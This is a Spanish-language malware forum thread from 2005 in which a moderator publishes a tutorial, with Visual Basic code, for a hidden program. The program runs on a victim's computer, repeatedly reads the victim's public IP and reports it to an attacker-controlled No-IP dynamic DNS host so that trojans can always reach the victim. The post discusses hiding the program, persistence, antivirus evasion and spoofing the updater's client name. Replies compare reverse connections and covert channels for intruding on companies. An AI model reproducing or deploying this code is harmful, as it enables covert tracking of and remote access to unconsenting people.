elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
11 Octubre 2008, 11:47  



+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Man-In-the-Middle, Hendrix)
| | |-+  [TUTORIAL] Engañar a NO-IP - Código Fuente + Binarios + Editor :)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] 2 3 4 Ir Abajo Imprimir
Autor Tema: [TUTORIAL] Engañar a NO-IP - Código Fuente + Binarios + Editor :)  (Leído 11652 veces)
Ertai
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.012


Ralph Wiggum


Ver Perfil
[TUTORIAL] Engañar a NO-IP - Código Fuente + Binarios + Editor :)
« en: 29 Abril 2005, 18:45 »

Buenas!
En este post voy a intentar acabar con los tipicos problemas de:
Como puedo saber su IP?
Como consigo alguna notificación por e-mail/icq/telnet?
Etc etc...
Bueno, supongo que ya conoceis el servicio de No-ip. Si no sabeis de que va, aqui se explica muy bien:
http://foro.elhacker.net/index.php/topic,57735.0.html
Ok, para hacernos una idea, no-ip, permite, a través de un programa, actualizar nuestra IP de un host de manera que un host del tipo tunombre.no-ip.info contenga siempre tu IP.
Si nos ponemos a pensar, esto nos sería muy util, si, por ejemplo, este servicio lo usara nuestra víctima.
Pues esto es lo que haremos hoy, aquí.


Empecemos
Lo que queremos es crear un programa que nos permita que la victima tenga un servicio No-ip sin que ella se entere. De esta manera podremos saber SIEMPRE su ip y podremos integrar el código en nuestro troyano o simplemente usarlo con otros troyanos. Las ventajas son muchas, todas las que nos permita saber su IP. Analizemos la sencilla situación: Un programa llamado No-ip DUC envia una orden a un servidor y nuestro host se actualiza. Bien, pues nuestro objetivo es conocer QUE orden se envia.

Protocolos
Todos los programas usan un protocolo, para entendernos, es la manera que tienen dos programas de entenderse. Para poder saber el protocolo de No-ip, debemos SNIFARLO.


Que es SNIFAR?
SNIFAR es saber lo que un programa envia y recibe. Pues bien, esto nos lo saltaremos por una sencilla razon. No-ip liberó haze poco el protocolo que usaba. Cuando yo estaba investigando este tema, aun no se habia liberado y tuve que snifar. Si no os interesa el tema del snifeo, saltaos el siguiente punto.

Como snifeo?
El snifer que yo usé se llama Achilles. Hizé que el No-ip DUC enviará la información por localhost:5000. En pocas palabras, desvie la información por el puerto 5000 de mi ordenador. Cuando ví que la información viajaba encriptada en BASE64, la intente desencriptar pero fue en vano (a día de hoy aún nose porque). Por eso me decidí a usar otro programa parecido al No-ip DUC, se llama DynSite [http://noeld.com/download.htm]. En esté la información NO viajaba encriptada y el servidor la aceptaba igualmente. De esta manera descubrí el protocolo.

El protocolo
Es el siguiente:
Código:
http://dynupdate.no-ip.com/update.php?username=TUEMAIL&pass=TU PASS&host=TUHOST&domain=TUDOMINIO&ip=LAIP
Este es el que yo encontré, en la página de No-ip [www.no-ip.com] está este otro:
Código:
http://dynupdate.no-ip.com/dns?username=test@testdomain.com&
password=mytestpassword&hostname=mytest.testdomain.com&ip=1.2.3.4
En principio es lo mismo.

No-ip
Para empezar, seria lo suyo crearse una cuenta en no-ip y crear un host por cada victima.
Información detallada en:
http://foro.elhacker.net/index.php/topic,57735.0.html

El programa
Bien, y ahora empieza la programación.
Yo lo he hecho en Visual Basic, pero la base que doy arriba os permite hacerlo en cualquier otro lenguaje (es mejor en C).
Solo voy a poner trozos de programa, el resto ha de ser de VUESTRA COSECHA, así evitamos que lo detecten los AV y que lo usé gente sin conocimientos de nada (por eso queria entrar en el laboratorio, pero creo que no me han aceptado  :'( )
Mi programa, al ejecutarse por primera vez, se escribe en el registro de Windows para que se ejecute cada vez que se abrá el ordenador. Este código NO lo pondré, lo podreis encontrar fácilmente en este foro o en Google.

Variables y constantes
Para que no os hagais un lio, aquí teneis todas las variables y constantes que usa el programa para declarlas y que no os falle el código. Escribid esto en la parte de arriba del código:
Código:
Private Const username = "" 'Tu nombre de usuario (creo q es el mail)
 Private Const pass = "" 'Tu pass
 Private Const host = "" 'el host ej: algo.no-ip.info
 Private Const domain = "" ' el dominio del host (arriba) no-ip.info
 Private Const sSourceUrl = "http://www.andy21.com/ip/"
 Private Const sLocalFile = "c:\ip.htm"
 
 Dim posicion1 As Integer
 Dim posicion2 As Integer
 Dim ip As String
 Dim ip_antigua As String
 Dim sSourceUrl As String
 Dim sLocalFile As String
 Dim hfile As Long
 Dim url As String
En las constantes, debereis dar vuestros datos sobre vuestra cuenta en No-ip, así como el host para cada víctima. Si no sabies que poner aqui os pongo un ejemplo:
Código:
Private Const username = "pepe@gmail.com"
 Private Const pass = "misupercontraseña"
 Private Const host = "pepe.no-ip.info"
 Private Const domain = "no-ip.info"
 Private Const sSourceUrl = "http://www.andy21.com/ip/"
 Private Const sLocalFile = "c:\ip.htm"

Routers, proxys y demás...
Muchos de los códigos que he encontrado por Google para sacar la IP del usuario, NO FUNCIONAN, si tienes proxys o router. Yo tengo Timofonica y pasó por algunos proxys aparte del router que tengo en casa.
Lo que haremos para evitar esto, será cojer nuestra IP de alguna página web. Si, si, como oyes. De una web. Yo creo que es una de las maneras más eficaces de sacar la IP.
Mirate esta web: http://www.andy21.com/ip/
Ok, (a no ser que pases por un proxy ultra-anonimo) verás tu IP.

La web
Lo primero que haremos sera crear una funcion que descargue la web.
Para ello hay este código:
Código:
Private Declare Function URLDownloadToFile Lib "urlmon" _
   Alias "URLDownloadToFileA" _
  (ByVal pCaller As Long, _
   ByVal szURL As String, _
   ByVal szFileName As String, _
   ByVal dwReserved As Long, _
   ByVal lpfnCB As Long) As Long
   
Private Const ERROR_SUCCESS As Long = 0
Private Const BINDF_GETNEWESTVERSION As Long = &H10
Private Const INTERNET_FLAG_RELOAD As Long = &H80000000
Esto lo copiaremos arriba de todo, donde se suelen declarar las variables.
Para usar esto crearemos ahora la funcion:
Código:
Public Function DownloadFile(sSourceUrl As String, sLocalFile As String) As Boolean
   DownloadFile = URLDownloadToFile(0&, sSourceUrl, sLocalFile, BINDF_GETNEWESTVERSION, 0&) = ERROR_SUCCESS
End Function
Si enviamos los parametros sSourceUrl y sLocalFile se nos copiara la web que queramos en el archivo del disco duro que nosotros deseemos.
Bien, hasta aquí ya tenemos el código para descargar una página web (será la que nos dará la IP).
Una vez abierto el programa (oculto, logicamente), crearemos un Timer para descargar la página web cada X segundos (mejor poned minutos) por si la victima se desconecta y se vuelve a conectar con otra IP. En el Timer va lo siguiente:
Código:
If DownloadFile(sSourceUrl, sLocalFile) Then
   hfile = FreeFile
   Open sLocalFile For Input As #hfile
      Text1.Text = Input$(LOF(hfile), hfile)
   Close #hfile
   Kill sLocalFile
   Command2_Click
End If
Con esto descargaremos la web, la guardaremos en un archivo del disco duro, copiaremos el contenido en un Text y eliminaremos el archivo. Seguidamente procederemos en el Command2_Click a extraer la IP de la victima en web descargada.

Extraer la IP
Código:
ip = ""
'Saca la IP
 posicion1 = InStr(1, Text1.Text, "HTTP_CLIENT_IP:", vbTextCompare)
 posicion2 = InStr(posicion1, Text1.Text, "<", vbTextCompare)
 ip = Mid(Text1.Text, posicion1 + 16, posicion2 - (posicion1 + 16))
If ip_antigua <> ip Then
 url = "dynupdate.no-ip.com/update.php?username=" & username & "&pass=" & pass & "&host=" & host & "&domain=" & domain & "&ip=" & ip
 web.Navigate (url)
 ip_antigua = ip
End If
Bien, si os fijais en la web, hay un lugar donde sale el texto HTTP_CLIENT_IP: . Despues de este texto, sale la IP del ordenador. Lo que hace este texto, es sacar la IP que viene despues y actualizar la IP del No-ip. Solo se actualiza si la IP ha cambiado, sino NO.
Hay que destacar que aquí usaremos el OCX del IE. Esto no es ningun problema (a diferencia del WinSock) ya que TODO windows tiene este OCX.
Se llama "Microsoft Internet Controls" y teneis que agregarlo en componentes y llamarlo "web".

Agradecimientos
-Xenon (fulano_) por su gran ayuda.
-A el-brujo, por esta magnifica web.
-A todo el equipo de este foro, moderadores y colaboradores.
-Y a Google, por existir... xD

Saludos,
Ertai

PD: Postead lo que querais: dudas, criticas, agradecimientos, errores y sinó, pues agregadme. Abstenganse Scriptkiddies.
« Última modificación: 11 Octubre 2006, 12:41 por Ertai » En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
Martín Fierro

Desconectado Desconectado

Mensajes: 381


Por crom!!!. Chiapas dedo izquierdo de wadalbertía


Ver Perfil WWW
Re: :: TUTORIAL :: Engañar a NO-IP con VB
« Respuesta #1 en: 29 Abril 2005, 19:45 »

Bien Ertai, alguna vez se me ocurrió la misma idea pero no tuve el temple necesario para desarrollarlo como tu, gracias... Yo con esto tengo y le sigo pormi lado...

para los más newbies, a bote pronto, ea con el protocolo incluso se puede hacer creo sencillito con un nc... luego de verlo en c y en vbasic lo reviso facilito con el joiner isaht..
En línea

Y no me importa nada..
Ertai
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.012


Ralph Wiggum


Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP con VB
« Respuesta #2 en: 30 Abril 2005, 00:21 »

Haber si te animas y lo haces con Telnet, seria interesante. ;)
Saludos,
Ertai
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #3 en: 01 Mayo 2005, 03:58 »


muy buen curso !!!  :D
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
scugat

Desconectado Desconectado

Mensajes: 64



Ver Perfil WWW
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #4 en: 02 Mayo 2005, 19:38 »

ta muu weno!! te felicito me a servido de gran ayuda pa mi servidor ftp oculto hjejeej
En línea

NO digas que eres hacker si lamerias haces
Ertai
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.012


Ralph Wiggum


Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #5 en: 02 Mayo 2005, 21:22 »

Buenas a todos!
Acabo de ver el chinchetazo, jeje, que ilusion!  :o ;D
Bueno, por lo que me he enterado, el servidor de No-ip "banneará" todas las cuentas que no indiquen que programa es el que actualiza la IP.
Sin miedo, porque creo que es una simple amenaza, no creo que hagan nada.
Pero es mejor curarse en salud, así que ahora estoy trabajando en mejorar este aspecto.
La información sobre el cliente se transmite a través del protocolo HTTP de la consulta.
Lógicamente, no pondremos de cliente: "Mi super troyano", sinó que usaremos uno conocido que no sea el que nos da No-ip (el No-ip DUC), porque no enviaremos la información encriptada. Yo usaré "DynSite" como nombre, porque es un programa que ya comento en el tutorial y que pasa desapercibido.
Para hacer la consulta HTTP, NO usaremos el WinSock (las razones son evidentes) sino que usaremos Telnet.
Como he dicho estoy trabajando en ello, mientras me dejen respirar un poco los examenes!  :-\

Saludos,
Ertai

PD: Me alegro que os guste el manual, esto te ayuda a seguir avanzando!
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
MrCuCo

Desconectado Desconectado

Mensajes: 307



Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #6 en: 05 Mayo 2005, 17:27 »

ami no me a qdado muy claro....xa q se lo aces??? xa q cada victima tng 1 ip siempre =?xo...xa eso no es mejor la inversa??? esq lo e leido 1 poco x encima y me a parecido eso...aparte q hoy en dia hay 100 tipos de notificaciones.nmelo creo q se tardaria muxisimo mas como tu as dixo.

aclarenmelo 1 pokito mas, muxas gracias... :P

1 saludo:
MrCuCo
En línea

Ertai
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.012


Ralph Wiggum


Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #7 en: 05 Mayo 2005, 17:45 »

Citar
xa q cada victima tng 1 ip siempre =

No es verdad, hay muchisima gente que tiene IP dinámica, es decir, que cambia cada vez que se conecta.

Citar
xo...xa eso no es mejor la inversa???

La conexión inversa no es siempre la mejor opción. Yo prefiero que el otro tenga un puerto escuchando, porque así me puedo conectar cuando YO quiera. Con la conexión inversa, la víctima se intenta conectar siempre y puede ser que eso no es lo que tu deseas. Va por opiniones.

Citar
aparte q hoy en dia hay 100 tipos de notificaciones

Prefiero programar algo así para que la victima tenga SIEMPRE un host y no tener que ver mi e-mail bombardeado de notificaciones, ni tener que conectarme al IRC, etc etc...
Es mucho más cómodo y perfectamente acoplable a tu troyano.

Espero que quede claro  ;)
Saludos,
Ertai
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
darkmoon

Desconectado Desconectado

Mensajes: 221



Ver Perfil WWW
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #8 en: 05 Mayo 2005, 18:22 »

yo habia creado una aplicacion usando el protologo del no-ip que no es nada de chiste tiene, es mejor usar un domio .tk o .cjb o cual quier es  rapido.

y deja decirte el no-ip no te da ninguna ip solo redirecciona tu ip a un dominio en este caso como midomio.com  osea es 100 absoleto cuan la victima esta detras de una red y tiene una ip como:192.168.0.1 o 10.2.1.4 o cualquier ip designada a a la red. osea  que es un desperdicio de tiempo con eso  y las victimas no se conectarian y ni tu pudieras a ella  y por eso lo mejor es la conexion inversa o la conecion lan a lan como el darkmoon la tiene.

ok deja describir como la conecion lan a lan del darkmoon esta echa se basa en el protologo del msn .


                           MSN Server
MI compudora-Cliente       Victima-Cliente

ok lo mejor de de conexiones es la inversa y la lan a lan ya que es totalmente anomima con el protologo msn pudieras hackear a una empresa y batllarian en dar contigo mucho tiempo y mas si usas proxy mas conexion lan a lan.


ok saludos
En línea

Be or to not to be thats the question!
Visita www.opensc.ws
Ertai
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.012


Ralph Wiggum


Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #9 en: 05 Mayo 2005, 18:45 »

Citar
yo habia creado una aplicacion usando el protologo del no-ip que no es nada de chiste tiene, es mejor usar un domio .tk o .cjb o cual quier es  rapido.

Los dominios .tk o .cjb son para redirecciones a páginas web. No nos sirve para lo que nosotros queremos.

Citar
y deja decirte el no-ip no te da ninguna ip solo redirecciona tu ip a un dominio en este caso como midomio.com

He dicho yo lo contrario?

Citar
osea es 100 absoleto cuan la victima esta detras de una red y tiene una ip como:192.168.0.1 o 10.2.1.4 o cualquier ip designada a a la red. osea  que es un desperdicio de tiempo con eso  y las victimas no se conectarian y ni tu pudieras a ella

Yo solo explico como programar para que la IP pública de la víctima sea reconocible en todo momento, y sirve entre otras cosas para acoplarlo a tu troyano. El tema de la LAN no es tan díficil de solucionar, pero el programa que describo aquí no es para este uso, pero podría ser una magnífica ampliación.

Citar
y por eso lo mejor es la conexion inversa o la conecion lan a lan como el darkmoon la tiene.

Libre albedrío.

Citar
ok lo mejor de de conexiones es la inversa y la lan a lan

Libre albedrío.

Citar
con el protologo msn pudieras hackear a una empresa y batllarian en dar contigo mucho tiempo y mas si usas proxy mas conexion lan a lan.

Esto entra en el tema de anonimato, hay otras maneras más eficaces (según mi opinión), como bouncers a PCs personales.
Y si una empresa te quiere encontrar, lo hará, no lo dudes, les puede costar más tiempo y dinero, eso es otra cosa.

Saludos,
Ertai
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #10 en: 05 Mayo 2005, 23:19 »


yo uso un router, y aunque mi diraccion privada sea 192.168.1.4, no quita para que no pueda usar el servicio no-ip, y tenga una ip publica fija!!

por lo que si que funciona, da = que estes en una lan como yo... es logico!

un saludo!!
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
MrCuCo

Desconectado Desconectado

Mensajes: 307



Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #11 en: 06 Mayo 2005, 14:15 »


yo uso un router, y aunque`mi diraccion privada sea 192.168.1.4, no quita para que no pueda usar el servicio no-ip, y tenga una ip publica fija!!

no, xo si usas la inversa te va a tocar 1 poco los cojones eso de tener q abrir los puertos y d+...

hoy en dia el 90% de los servidores q te proporcionan internet te "regalan" un router x dar la linea de alta, x lo q yo personalemente veo mejor la inversa, aparte de rapidez a la h de conectarte una victima, ver en el momento q se a conectado, es mas seguro ya q si tu futura victima tiene router no la pierdes ni nada eso....

yo creo q ese metodo era cojonudo ace 1 par de años, cuando se empezaron a poner las ips dinamicas y el 99% de las personas usaban modem... :P :P

xo como bien dices, cada cual opine...

1 saludo:
MrCuCo
« Última modificación: 06 Mayo 2005, 14:17 por mrcuco » En línea

Ertai
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.012


Ralph Wiggum


Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #12 en: 09 Mayo 2005, 10:55 »

Es que creo que la gente no esta entendiendo bien las cosas.
Esto sirve para que la victima tenga una IP estatica siempre (un host en este caso) y el update se realiza a traves de HTTP, es decir, es una consulta web. Esto se puede aplicar a lo QUE QUERAIS, no tiene porque ser un troyano (lo digo por el tema de la conexion inversa).
Uno de los usos que le estoy dando ahora es para hacer un bouncer, ya os contare.

Saludos,
Ertai
En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
-Xenon-

Desconectado Desconectado

Mensajes: 501


Spectrum 128k


Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #13 en: 09 Mayo 2005, 13:40 »


si que habria cierto problema para las lan, habria que abrirles los puertos al router... si no toda la red tendra un dominio no-ip

pero no un pc aislado de la red... esto es cierto, y habria que mirarlo mejor para solucionarlo!
En línea

Cuando el ingenio se queda pequeño,
No basta con poner empeño,
Solo el talento consigue el diseño
Ertai
Moderador Global
*****
Desconectado Desconectado

Mensajes: 2.012


Ralph Wiggum


Ver Perfil
Re: :: TUTORIAL :: Engañar a NO-IP
« Respuesta #14 en: 09 Mayo 2005, 15:09 »

Cierto fulano_, pero piensa que aun que la victima este dentro de una red LAN, esta deberá tener una IP pública y eso pretende ser el objetivo del programa. Recuerdo que tener router NO es sinónimo de IP fija, ya que muchos piensan así.
Mi idea principal era poder localizar a la victima en todo Internet, no en una red local, nosé si me explico.
Claro que todo esto se puede mejorar, es más, cualquiera que quiera aportar algun cambio, pues bienvenido, igual que en tu tutorial del troyano desde cero.
Saludos amigo,
Ertai
« Última modificación: 09 Mayo 2005, 15:13 por Ertai » En línea

Si la felicidad se comprara, entonces el dinero sería noble.

Código:
void rotar_by_ref(int& a, int& b) {
   /* Quien dijo que no se podia sin una variable temporal? */
   *a = *a ^ *b;
   *b = *a ^ *b;
   *a = *a ^ *b;
}
Páginas: [1] 2 3 4 Ir Arriba Imprimir 
Ir a:  







Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.6 | SMF © 2006-2008, Simple Machines LLC
Free counter and web stats